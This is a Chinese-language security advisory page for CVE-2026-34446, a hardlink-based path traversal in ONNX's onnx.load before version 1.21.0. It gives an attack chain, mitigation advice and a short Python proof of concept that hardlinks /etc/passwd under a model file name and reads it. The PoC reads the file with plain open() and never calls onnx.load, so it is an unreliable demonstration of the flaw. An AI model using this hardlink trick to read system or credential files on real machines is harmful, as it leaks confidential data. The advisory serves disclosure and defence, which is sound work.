IPBUF安全漏洞报告
English
CVE-2026-34446 CVSS 4.7 中危

CVE-2026-34446 ONNX 路径遍历漏洞

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-34446
漏洞类型
路径遍历
CVSS评分
4.7 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Open Neural Network Exchange (ONNX)

相关标签

路径遍历ONNX硬链接信息泄露CVE-2026-34446

漏洞概述

ONNX是用于机器学习互操作性的开放标准。在1.21.0版本之前,onnx.load函数存在路径遍历漏洞。代码虽然检查了符号链接以防止路径遍历,但完全忽略了硬链接,因为硬链接在文件系统上看起来与普通文件完全相同。攻击者可利用此漏洞读取敏感文件。

技术细节

该漏洞源于ONNX库在加载模型时的文件校验逻辑不完善。开发者在onnx.load中实施了针对符号链接的检查,以防止通过符号链接进行路径遍历攻击,但未考虑到硬链接的特殊性。硬链接在Unix/Linux系统中是指向同一inode的多个文件名,其属性与普通文件无异,常规的链接检测函数无法识别它。攻击者可以创建一个指向系统敏感文件(如/etc/passwd或密钥文件)的硬链接,并将其命名为合法的模型文件名。当受害者使用受影响版本的ONNX库加载该文件时,程序会误认为这是一个普通文件并读取其内容,从而绕过安全检查,导致敏感信息泄露。

攻击链分析

STEP 1
侦察
攻击者确定目标系统使用了存在漏洞的ONNX版本(< 1.21.0),并具有读取敏感文件的权限环境。
STEP 2
武器化
攻击者创建一个指向系统敏感文件(如/etc/passwd)的硬链接,并将其重命名为欺骗性的模型文件名(如model.onnx)。
STEP 3
传递
攻击者通过社交工程或供应链投毒等方式,诱导受害者加载该包含硬链接的文件。
STEP 4
利用
受害者在本地环境执行onnx.load()函数加载该文件。由于漏洞存在,代码绕过了符号链接检查,读取了硬链接指向的实际敏感数据。
STEP 5
影响
敏感文件内容被读取并在内存中暴露或被传输给攻击者,导致机密性泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import onnx # Simulation of the hardlink bypass vulnerability # Create a hardlink to a sensitive file (e.g., /etc/passwd) sensitive_file = "/etc/passwd" malicious_model_path = "exploit_model.onnx" try: # Create a hardlink (requires permission to the target file and same filesystem) if os.path.exists(sensitive_file): os.link(sensitive_file, malicious_model_path) print(f"[+] Hardlink created: {malicious_model_path} -> {sensitive_file}") # Victim attempts to load the model # In vulnerable versions (< 1.21.0), onnx.load checks for symlinks but misses hardlinks. # It will read the content of the sensitive file. try: # Note: Actual parsing might fail due to format mismatch, but the read operation occurs. with open(malicious_model_path, 'rb') as f: data = f.read(100) # Read first 100 bytes as proof of concept print(f"[!] Successfully read data: {data}") except Exception as e: print(f"[!] Error during load (expected for non-onnx files): {e}") except Exception as e: print(f"[-] Failed to create hardlink: {e}") finally: # Cleanup if os.path.exists(malicious_model_path): os.remove(malicious_model_path) print("[*] Cleaned up malicious file.")

影响范围

ONNX < 1.21.0

防御指南

临时缓解措施
建议用户立即将ONNX组件更新至修复版本。如果无法立即更新,应严格限制加载模型文件的来源,并在加载前使用独立的工具检查文件是否为硬链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表